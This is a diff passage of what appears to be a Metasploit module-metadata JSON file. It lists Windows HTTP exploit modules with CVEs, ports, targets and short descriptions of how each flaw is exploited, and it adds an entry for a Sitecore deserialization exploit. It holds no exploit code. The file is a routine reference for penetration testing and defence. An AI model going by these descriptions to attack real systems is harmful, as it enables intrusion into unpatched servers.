[ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -174294,9 +179221,7 @@ "exploit_windows/http/sitecore_xp_cve_2021_42237": { "name": "Sitecore Experience Platform (XP) PreAuth Deserialization RCE", "fullname": "exploit/windows/http/sitecore_xp_cve_2021_42237", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2021-11-02", "type": "exploit", @@ -174355,12 +179280,70 @@ "session_types": false, "needs_cleanup": null }, + "exploit_windows/http/sitecore_xp_cve_2025_27218": { + "name": "Sitecore CVE-2025-27218 BinaryFormatter Deserialization Exploit", + "fullname": "exploit/windows/http/sitecore_xp_cve_2025_27218", + "aliases": [], + "rank": 600, + "disclosure_date": "2025-01-06", + "type": "exploit", + "author": [ + "Dylan Pindur", + "machang-r7" + ], + "description": "This module exploits a .NET deserialization vulnerability in Sitecore Experience Manager (XM) and Experience\n Platform (XP) 10.4 by injecting a malicious Base64-encoded BinaryFormatter payload into an HTTP header.", + "references": [ + "CVE-2025-27218", + "URL-https://support.sitecore.com/kb?id=kb_article_view&sysparm_article=KB1003535", + "URL-https://attackerkb.com/topics/Dyo4zUm2tv/cve-2025-27218" + ], + "platform": "Windows", + "arch": "x86, x64, cmd", + "rport": 443, + "autofilter_ports": [ + 80, + 8080, + 443, + 8000, + 8888, + 8880, + 8008, + 3000, + 8443 + ], + "autofilter_services": [ + "http", + "https" + ], + "targets": [ + "Windows Command", + "PowerShell Stager" + ], + "mod_time": "2025-03-27 09:36:10 +0000", + "path": "/modules/exploits/windows/http/sitecore_xp_cve_2025_27218.rb", + "is_install_path": true, + "ref_name": "windows/http/sitecore_xp_cve_2025_27218", + "check": true, + "post_auth": false, + "default_credential": false, + "notes": { + "Stability": [ + "crash-safe" + ], + "Reliability": [ + "repeatable-session" + ], + "SideEffects": [ + "ioc-in-logs" + ] + }, + "session_types": false, + "needs_cleanup": null + }, "exploit_windows/http/smartermail_rce": { "name": "SmarterTools SmarterMail less than build 6985 - .NET Deserialization Remote Code Execution", "fullname": "exploit/windows/http/smartermail_rce", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2019-04-17", "type": "exploit", @@ -174422,9 +179405,7 @@ "exploit_windows/http/softing_sis_rce": { "name": "Softing Secure Integration Server v1.22 Remote Code Execution", "fullname": "exploit/windows/http/softing_sis_rce", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2022-07-27", "type": "exploit", @@ -174488,9 +179469,7 @@ "exploit_windows/http/solarwinds_fsm_userlogin": { "name": "Solarwinds Firewall Security Manager 6.6.5 Client Session Handling Vulnerability", "fullname": "exploit/windows/http/solarwinds_fsm_userlogin", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2015-03-13", "type": "exploit", @@ -174499,7 +179478,7 @@ "mr_me ", "sinn3r " ], - "description": "This module exploits multiple vulnerabilities found in Solarwinds Firewall Security Manager\n 6.6.5. The first vulnerability is an authentication bypass via the Change Advisor interface\n due to a user-controlled session.putValue API in userlogin.jsp, allowing the attacker to set\n the 'username' attribute before authentication. The second problem is that the settings-new.jsp\n file will only check the 'username' attribute before authorizing the 'uploadFile' action,\n which can be exploited and allows the attacker to upload a fake xls host list file to the\n server, and results in arbitrary code execution under the context of SYSTEM.\n\n Depending on the installation, by default the Change Advisor web server is listening on port\n 48080 for an express install. Otherwise, this service may appear on port 8080.\n\n Solarwinds has released a fix for this vulnerability as FSM-v6.6.5-HotFix1.zip, noted in the\n references for this module.", + "description": "This module exploits multiple vulnerabilities found in Solarwinds Firewall Security Manager\n 6.6.5. The first vulnerability is an authentication bypass via the Change Advisor interface\n due to a user-controlled session.putValue API in userlogin.jsp, allowing the attacker to set\n the 'username' attribute before authentication. The second problem is that the settings-new.jsp\n file will only check the 'username' attribute before authorizing the 'uploadFile' action,\n which can be exploited and allows the attacker to upload a fake xls host list file to the\n server, and results in arbitrary code execution under the context of SYSTEM.\n\n Depending on the installation, by default the Change Advisor web server is listening on port\n 48080 for an express install. Otherwise, this service may appear on port 8080.\n\n Solarwinds has released a fix for this vulnerability as FSM-v6.6.5-HotFix1.zip, noted in the\n references for this module.", "references": [ "CVE-2015-2284", "OSVDB-81634", @@ -174527,7 +179506,7 @@ "targets": [ "Solarwinds Firewall Security Manager 6.6.5" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/http/solarwinds_fsm_userlogin.rb", "is_install_path": true, "ref_name": "windows/http/solarwinds_fsm_userlogin", @@ -174535,6 +179514,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": true @@ -174542,9 +179530,7 @@ "exploit_windows/http/solarwinds_storage_manager_sql": { "name": "Solarwinds Storage Manager 5.1.0 SQL Injection", "fullname": "exploit/windows/http/solarwinds_storage_manager_sql", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2011-12-07", "type": "exploit", @@ -174553,7 +179539,7 @@ "muts", "sinn3r " ], - "description": "This module exploits a SQL injection found in Solarwinds Storage Manager\n login interface. It will send a malicious SQL query to create a JSP file\n under the web root directory, and then let it download and execute our malicious\n executable under the context of SYSTEM.", + "description": "This module exploits a SQL injection found in Solarwinds Storage Manager\n login interface. It will send a malicious SQL query to create a JSP file\n under the web root directory, and then let it download and execute our malicious\n executable under the context of SYSTEM.", "references": [ "OSVDB-81634", "EDB-18818", @@ -174581,7 +179567,7 @@ "targets": [ "Windows Universal" ], - "mod_time": "2021-02-18 09:18:19 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/http/solarwinds_storage_manager_sql.rb", "is_install_path": true, "ref_name": "windows/http/solarwinds_storage_manager_sql", @@ -174589,6 +179575,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": true @@ -174596,9 +179591,7 @@ "exploit_windows/http/sonicwall_scrutinizer_sqli": { "name": "Dell SonicWALL (Plixer) Scrutinizer 9 SQL Injection", "fullname": "exploit/windows/http/sonicwall_scrutinizer_sqli", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2012-07-22", "type": "exploit", @@ -174607,7 +179600,7 @@ "Devon Kearns", "sinn3r " ], - "description": "This module exploits a vulnerability found in Dell SonicWall Scrutinizer.\n While handling the 'q' parameter, the PHP application does not properly filter\n the user-supplied data, which can be manipulated to inject SQL commands, and\n then gain remote code execution. Please note that authentication is NOT needed\n to exploit this vulnerability.", + "description": "This module exploits a vulnerability found in Dell SonicWall Scrutinizer.\n While handling the 'q' parameter, the PHP application does not properly filter\n the user-supplied data, which can be manipulated to inject SQL commands, and\n then gain remote code execution. Please note that authentication is NOT needed\n to exploit this vulnerability.", "references": [ "CVE-2012-2962", "OSVDB-84232", @@ -174636,7 +179629,7 @@ "targets": [ "Dell SonicWall Scrutinizer 9.5.1 or older" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/http/sonicwall_scrutinizer_sqli.rb", "is_install_path": true, "ref_name": "windows/http/sonicwall_scrutinizer_sqli", @@ -174644,6 +179637,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -174651,9 +179653,7 @@ "exploit_windows/http/ssrs_navcorrector_viewstate": { "name": "SQL Server Reporting Services (SSRS) ViewState Deserialization", "fullname": "exploit/windows/http/ssrs_navcorrector_viewstate", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2020-02-11", "type": "exploit", @@ -174714,9 +179714,7 @@ "exploit_windows/http/steamcast_useragent": { "name": "Streamcast HTTP User-Agent Buffer Overflow", "fullname": "exploit/windows/http/steamcast_useragent", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2008-01-24", "type": "exploit", @@ -174734,17 +179732,13 @@ "platform": "Windows", "arch": "", "rport": 8000, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows 2000 Pro English All", "Windows XP Pro SP0/SP1 English" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/http/steamcast_useragent.rb", "is_install_path": true, "ref_name": "windows/http/steamcast_useragent", @@ -174752,6 +179746,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -174759,9 +179762,7 @@ "exploit_windows/http/sws_connection_bof": { "name": "Simple Web Server Connection Header Buffer Overflow", "fullname": "exploit/windows/http/sws_connection_bof", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2012-07-20", "type": "exploit", @@ -174769,7 +179770,7 @@ "mr.pr0n", "juan vazquez " ], - "description": "This module exploits a vulnerability in Simple Web Server 2.2 rc2. A remote user\n can send a long string data in the Connection Header to causes an overflow on the\n stack when function vsprintf() is used, and gain arbitrary code execution. The\n module has been tested successfully on Windows 7 SP1 and Windows XP SP3.", + "description": "This module exploits a vulnerability in Simple Web Server 2.2 rc2. A remote user\n can send a long string data in the Connection Header to causes an overflow on the\n stack when function vsprintf() is used, and gain arbitrary code execution. The\n module has been tested successfully on Windows 7 SP1 and Windows XP SP3.", "references": [ "OSVDB-84310", "EDB-19937", @@ -174796,7 +179797,7 @@ "targets": [ "SimpleWebServer 2.2-rc2 / Windows XP SP3 / Windows 7 SP1" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/http/sws_connection_bof.rb", "is_install_path": true, "ref_name": "windows/http/sws_connection_bof", @@ -174804,6 +179805,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -174811,16 +179821,14 @@ "exploit_windows/http/sybase_easerver": { "name": "Sybase EAServer 5.2 Remote Stack Buffer Overflow", "fullname": "exploit/windows/http/sybase_easerver", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2005-07-25", "type": "exploit", "author": [ "Unknown" ], - "description": "This module exploits a stack buffer overflow in the Sybase EAServer Web\n Console. The offset to the SEH frame appears to change depending\n on what version of Java is in use by the remote server, making this\n exploit somewhat unreliable.", + "description": "This module exploits a stack buffer overflow in the Sybase EAServer Web\n Console. The offset to the SEH frame appears to change depending\n on what version of Java is in use by the remote server, making this\n exploit somewhat unreliable.", "references": [ "CVE-2005-2297", "OSVDB-17996", @@ -174851,7 +179859,7 @@ "Windows All - Sybase EAServer 5.2 - jdk 1.4.2_06", "Windows All - Sybase EAServer 5.2 - jdk 1.4.1_02" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/http/sybase_easerver.rb", "is_install_path": true, "ref_name": "windows/http/sybase_easerver", @@ -174859,6 +179867,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -174866,9 +179883,7 @@ "exploit_windows/http/syncbreeze_bof": { "name": "Sync Breeze Enterprise GET Buffer Overflow", "fullname": "exploit/windows/http/syncbreeze_bof", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2017-03-15", "type": "exploit", @@ -174878,7 +179893,7 @@ "Owais Mehtab", "Milton Valencia (wetw0rk)" ], - "description": "This module exploits a stack-based buffer overflow vulnerability\n in the web interface of Sync Breeze Enterprise v9.4.28, v10.0.28,\n and v10.1.16, caused by improper bounds checking of the request in\n HTTP GET and POST requests sent to the built-in web server. This\n module has been tested successfully on Windows 7 SP1 x86.", + "description": "This module exploits a stack-based buffer overflow vulnerability\n in the web interface of Sync Breeze Enterprise v9.4.28, v10.0.28,\n and v10.1.16, caused by improper bounds checking of the request in\n HTTP GET and POST requests sent to the built-in web server. This\n module has been tested successfully on Windows 7 SP1 x86.", "references": [ "CVE-2017-14980" ], @@ -174906,7 +179921,7 @@ "Sync Breeze Enterprise v10.0.28", "Sync Breeze Enterprise v10.1.16" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/http/syncbreeze_bof.rb", "is_install_path": true, "ref_name": "windows/http/syncbreeze_bof", @@ -174914,6 +179929,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -174921,9 +179945,7 @@ "exploit_windows/http/sysax_create_folder": { "name": "Sysax Multi Server 5.64 Create Folder Buffer Overflow", "fullname": "exploit/windows/http/sysax_create_folder", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2012-07-29", "type": "exploit", @@ -174931,7 +179953,7 @@ "Craig Freyman", "Matt \"hostess\" Andreko" ], - "description": "This module exploits a stack buffer overflow in the create folder function in\n Sysax Multi Server 5.64. This issue was fixed in 5.66. In order to trigger the\n vulnerability valid credentials with the create folder permission must be provided.\n The HTTP option must be enabled on Sysax too.\n\n This module will log into the server, get a SID token, find the root folder, and\n then proceed to exploit the server. Successful exploits result in SYSTEM access.\n This exploit works on XP SP3, and Server 2003 SP1-SP2.", + "description": "This module exploits a stack buffer overflow in the create folder function in\n Sysax Multi Server 5.64. This issue was fixed in 5.66. In order to trigger the\n vulnerability valid credentials with the create folder permission must be provided.\n The HTTP option must be enabled on Sysax too.\n\n This module will log into the server, get a SID token, find the root folder, and\n then proceed to exploit the server. Successful exploits result in SYSTEM access.\n This exploit works on XP SP3, and Server 2003 SP1-SP2.", "references": [ "CVE-2012-6530", "OSVDB-82329", @@ -174962,7 +179984,7 @@ "Windows XP SP3 / Sysax Multi Server 5.64", "Windows 2003 SP1-SP2 / Sysax Multi Server 5.64" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/http/sysax_create_folder.rb", "is_install_path": true, "ref_name": "windows/http/sysax_create_folder", @@ -174970,6 +179992,15 @@ "post_auth": true, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -174977,9 +180008,7 @@ "exploit_windows/http/telerik_rau_deserialization": { "name": "Telerik UI ASP.NET AJAX RadAsyncUpload Deserialization", "fullname": "exploit/windows/http/telerik_rau_deserialization", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2019-12-09", "type": "exploit", @@ -175050,9 +180079,7 @@ "exploit_windows/http/telerik_report_server_deserialization": { "name": "Telerik Report Server Auth Bypass and Deserialization RCE", "fullname": "exploit/windows/http/telerik_report_server_deserialization", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2024-06-04", "type": "exploit", @@ -175117,9 +180144,7 @@ "exploit_windows/http/tomcat_cgi_cmdlineargs": { "name": "Apache Tomcat CGIServlet enableCmdLineArguments Vulnerability", "fullname": "exploit/windows/http/tomcat_cgi_cmdlineargs", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2019-04-10", "type": "exploit", @@ -175127,7 +180152,7 @@ "Yakov Shafranovich", "sinn3r " ], - "description": "This module exploits a vulnerability in Apache Tomcat's CGIServlet component. When the\n enableCmdLineArguments setting is set to true, a remote user can abuse this to execute\n system commands, and gain remote code execution.", + "description": "This module exploits a vulnerability in Apache Tomcat's CGIServlet component. When the\n enableCmdLineArguments setting is set to true, a remote user can abuse this to execute\n system commands, and gain remote code execution.", "references": [ "CVE-2019-0232", "URL-https://wwws.nightwatchcybersecurity.com/2019/04/30/remote-code-execution-rce-in-cgi-servlet-apache-tomcat-on-windows-cve-2019-0232/", @@ -175154,7 +180179,7 @@ "targets": [ "Apache Tomcat 9.0 or prior for Windows" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-20 13:20:44 +0000", "path": "/modules/exploits/windows/http/tomcat_cgi_cmdlineargs.rb", "is_install_path": true, "ref_name": "windows/http/tomcat_cgi_cmdlineargs", @@ -175179,16 +180204,14 @@ "exploit_windows/http/trackercam_phparg_overflow": { "name": "TrackerCam PHP Argument Buffer Overflow", "fullname": "exploit/windows/http/trackercam_phparg_overflow", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2005-02-18", "type": "exploit", "author": [ "hdm " ], - "description": "This module exploits a simple stack buffer overflow in the\n TrackerCam web server. All current versions of this software\n are vulnerable to a large number of security issues. This\n module abuses the directory traversal flaw to gain\n information about the system and then uses the PHP overflow\n to execute arbitrary code.", + "description": "This module exploits a simple stack buffer overflow in the\n TrackerCam web server. All current versions of this software\n are vulnerable to a large number of security issues. This\n module abuses the directory traversal flaw to gain\n information about the system and then uses the PHP overflow\n to execute arbitrary code.", "references": [ "CVE-2005-0478", "OSVDB-13953", @@ -175219,7 +180242,7 @@ "Windows XP English SP0/SP1", "Windows NT 4.0 SP4/SP5/SP6" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/http/trackercam_phparg_overflow.rb", "is_install_path": true, "ref_name": "windows/http/trackercam_phparg_overflow", @@ -175227,6 +180250,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -175234,16 +180266,14 @@ "exploit_windows/http/trackit_file_upload": { "name": "Numara / BMC Track-It! FileStorageService Arbitrary File Upload", "fullname": "exploit/windows/http/trackit_file_upload", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2014-10-07", "type": "exploit", "author": [ "Pedro Ribeiro " ], - "description": "This module exploits an arbitrary file upload vulnerability in Numara / BMC Track-It!\n v8 to v11.X.\n The application exposes the FileStorageService .NET remoting service on port 9010\n (9004 for version 8) which accepts unauthenticated uploads. This can be abused by\n a malicious user to upload a ASP or ASPX file to the web root leading to arbitrary\n code execution as NETWORK SERVICE or SYSTEM.\n This module has been tested successfully on versions 11.3.0.355, 10.0.51.135, 10.0.50.107,\n 10.0.0.143, 9.0.30.248 and 8.0.2.51.", + "description": "This module exploits an arbitrary file upload vulnerability in Numara / BMC Track-It!\n v8 to v11.X.\n The application exposes the FileStorageService .NET remoting service on port 9010\n (9004 for version 8) which accepts unauthenticated uploads. This can be abused by\n a malicious user to upload a ASP or ASPX file to the web root leading to arbitrary\n code execution as NETWORK SERVICE or SYSTEM.\n This module has been tested successfully on versions 11.3.0.355, 10.0.51.135, 10.0.50.107,\n 10.0.0.143, 9.0.30.248 and 8.0.2.51.", "references": [ "CVE-2014-4872", "OSVDB-112741", @@ -175271,7 +180301,7 @@ "targets": [ "Numara / BMC Track-It! v9 to v11.X - Windows" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/http/trackit_file_upload.rb", "is_install_path": true, "ref_name": "windows/http/trackit_file_upload", @@ -175279,6 +180309,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -175286,16 +180325,14 @@ "exploit_windows/http/trendmicro_officescan": { "name": "Trend Micro OfficeScan Remote Stack Buffer Overflow", "fullname": "exploit/windows/http/trendmicro_officescan", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2007-06-28", "type": "exploit", "author": [ "toto" ], - "description": "This module exploits a stack buffer overflow in Trend Micro OfficeScan\n cgiChkMasterPwd.exe (running with SYSTEM privileges).", + "description": "This module exploits a stack buffer overflow in Trend Micro OfficeScan\n cgiChkMasterPwd.exe (running with SYSTEM privileges).", "references": [ "CVE-2008-1365", "OSVDB-42499" @@ -175321,7 +180358,7 @@ "targets": [ "Windows 2000 - Trend Micro OfficeScan 7.3.0.1293)" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/http/trendmicro_officescan.rb", "is_install_path": true, "ref_name": "windows/http/trendmicro_officescan", @@ -175329,6 +180366,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -175336,9 +180382,7 @@ "exploit_windows/http/trendmicro_officescan_widget_exec": { "name": "Trend Micro OfficeScan Remote Code Execution", "fullname": "exploit/windows/http/trendmicro_officescan_widget_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2017-10-07", "type": "exploit", @@ -175346,7 +180390,7 @@ "mr_me ", "Mehmet Ince " ], - "description": "This module exploits the authentication bypass and command injection vulnerability together. Unauthenticated users can execute a\n terminal command under the context of the web server user.\n\n The specific flaw exists within the management interface, which listens on TCP port 443 by default. The Trend Micro Officescan product\n has a widget feature which is implemented with PHP. Talker.php takes ack and hash parameters but doesn't validate these values, which\n leads to an authentication bypass for the widget. Proxy.php files under the mod TMCSS folder take multiple parameters but the process\n does not properly validate a user-supplied string before using it to execute a system call. Due to combination of these vulnerabilities,\n unauthenticated users can execute a terminal command under the context of the web server user.", + "description": "This module exploits the authentication bypass and command injection vulnerability together. Unauthenticated users can execute a\n terminal command under the context of the web server user.\n\n The specific flaw exists within the management interface, which listens on TCP port 443 by default. The Trend Micro Officescan product\n has a widget feature which is implemented with PHP. Talker.php takes ack and hash parameters but doesn't validate these values, which\n leads to an authentication bypass for the widget. Proxy.php files under the mod TMCSS folder take multiple parameters but the process\n does not properly validate a user-supplied string before using it to execute a system call. Due to combination of these vulnerabilities,\n unauthenticated users can execute a terminal command under the context of the web server user.", "references": [ "CVE-2017-11394", "URL-https://pentest.blog/one-ring-to-rule-them-all-same-rce-on-multiple-trend-micro-products/", @@ -175375,7 +180419,7 @@ "OfficeScan 11", "OfficeScan XG" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/http/trendmicro_officescan_widget_exec.rb", "is_install_path": true, "ref_name": "windows/http/trendmicro_officescan_widget_exec", @@ -175383,6 +180427,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -175390,9 +180443,7 @@ "exploit_windows/http/ultraminihttp_bof": { "name": "Ultra Mini HTTPD Stack Buffer Overflow", "fullname": "exploit/windows/http/ultraminihttp_bof", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2013-07-10", "type": "exploit", @@ -175401,7 +180452,7 @@ "PsychoSpy ", "OJ Reeves " ], - "description": "This module exploits a stack based buffer overflow in Ultra Mini HTTPD 1.21,\n allowing remote attackers to execute arbitrary code via a long resource name in an HTTP\n request. This exploit has to deal with the fact that the application's request handler\n thread is terminated after 60 seconds by a \"monitor\" thread. To do this, it allocates\n some RWX memory, copies the payload to it and creates another thread. When done, it\n terminates the current thread so that it doesn't crash and hence doesn't bring down\n the process with it.", + "description": "This module exploits a stack based buffer overflow in Ultra Mini HTTPD 1.21,\n allowing remote attackers to execute arbitrary code via a long resource name in an HTTP\n request. This exploit has to deal with the fact that the application's request handler\n thread is terminated after 60 seconds by a \"monitor\" thread. To do this, it allocates\n some RWX memory, copies the payload to it and creates another thread. When done, it\n terminates the current thread so that it doesn't crash and hence doesn't bring down\n the process with it.", "references": [ "OSVDB-95164", "EDB-26739", @@ -175432,7 +180483,7 @@ "v1.21 - Windows XP SP2/SP3", "v1.21 - Windows Server 2003 (Enterprise)" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/http/ultraminihttp_bof.rb", "is_install_path": true, "ref_name": "windows/http/ultraminihttp_bof", @@ -175440,6 +180491,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -175447,9 +180507,7 @@ "exploit_windows/http/umbraco_upload_aspx": { "name": "Umbraco CMS Remote Command Execution", "fullname": "exploit/windows/http/umbraco_upload_aspx", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2012-06-28", "type": "exploit", @@ -175485,24 +180543,21 @@ "targets": [ "Umbraco CMS 4.7.0.378 / Microsoft Windows 7 Professional 32-bit SP1" ], - "mod_time": "2019-08-02 09:48:53 +0000", + "mod_time": "2025-06-20 13:20:44 +0000", "path": "/modules/exploits/windows/http/umbraco_upload_aspx.rb", "is_install_path": true, "ref_name": "windows/http/umbraco_upload_aspx", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": true }, "exploit_windows/http/vmware_vcenter_chargeback_upload": { "name": "VMware vCenter Chargeback Manager ImageUploadServlet Arbitrary File Upload", "fullname": "exploit/windows/http/vmware_vcenter_chargeback_upload", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2013-05-15", "type": "exploit", @@ -175510,7 +180565,7 @@ "Andrea Micalizzi", "juan vazquez " ], - "description": "This module exploits a code execution flaw in VMware vCenter Chargeback Manager,\n where the ImageUploadServlet servlet allows unauthenticated file upload. The files\n are uploaded to the /cbmui/images/ web path, where JSP code execution is allowed.\n The module has been tested successfully on VMware vCenter Chargeback Manager 2.0.1\n on Windows 2003 SP2.", + "description": "This module exploits a code execution flaw in VMware vCenter Chargeback Manager,\n where the ImageUploadServlet servlet allows unauthenticated file upload. The files\n are uploaded to the /cbmui/images/ web path, where JSP code execution is allowed.\n The module has been tested successfully on VMware vCenter Chargeback Manager 2.0.1\n on Windows 2003 SP2.", "references": [ "CVE-2013-3520", "OSVDB-94188", @@ -175538,7 +180593,7 @@ "targets": [ "VMware vCenter Chargeback Manager 2.0.1 / Windows 2003 SP2" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/http/vmware_vcenter_chargeback_upload.rb", "is_install_path": true, "ref_name": "windows/http/vmware_vcenter_chargeback_upload", @@ -175546,6 +180601,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": true @@ -175553,19 +180617,15 @@ "exploit_windows/http/vxsrchs_bof": { "name": "VX Search Enterprise GET Buffer Overflow", "fullname": "exploit/windows/http/vxsrchs_bof", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2017-03-15", "type": "exploit", "author": [ "Daniel Teixeira" ], - "description": "This module exploits a stack-based buffer overflow vulnerability\n in the web interface of VX Search Enterprise v9.5.12, caused by\n improper bounds checking of the request path in HTTP GET requests\n sent to the built-in web server. This module has been tested\n successfully on Windows 7 SP1 x86.", - "references": [ - - ], + "description": "This module exploits a stack-based buffer overflow vulnerability\n in the web interface of VX Search Enterprise v9.5.12, caused by\n improper bounds checking of the request path in HTTP GET requests\n sent to the built-in web server. This module has been tested\n successfully on Windows 7 SP1 x86.", + "references": [], "platform": "Windows", "arch": "", "rport": 80, @@ -175587,7 +180647,7 @@ "targets": [ "VX Search Enterprise v9.5.12" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/http/vxsrchs_bof.rb", "is_install_path": true, "ref_name": "windows/http/vxsrchs_bof", @@ -175595,6 +180655,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -175602,9 +180671,7 @@ "exploit_windows/http/webster_http": { "name": "Webster HTTP Server GET Buffer Overflow", "fullname": "exploit/windows/http/webster_http", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2002-12-02", "type": "exploit", @@ -175641,7 +180708,7 @@ "Windows XP SP0", "Debug" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/http/webster_http.rb", "is_install_path": true, "ref_name": "windows/http/webster_http", @@ -175649,6 +180716,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + 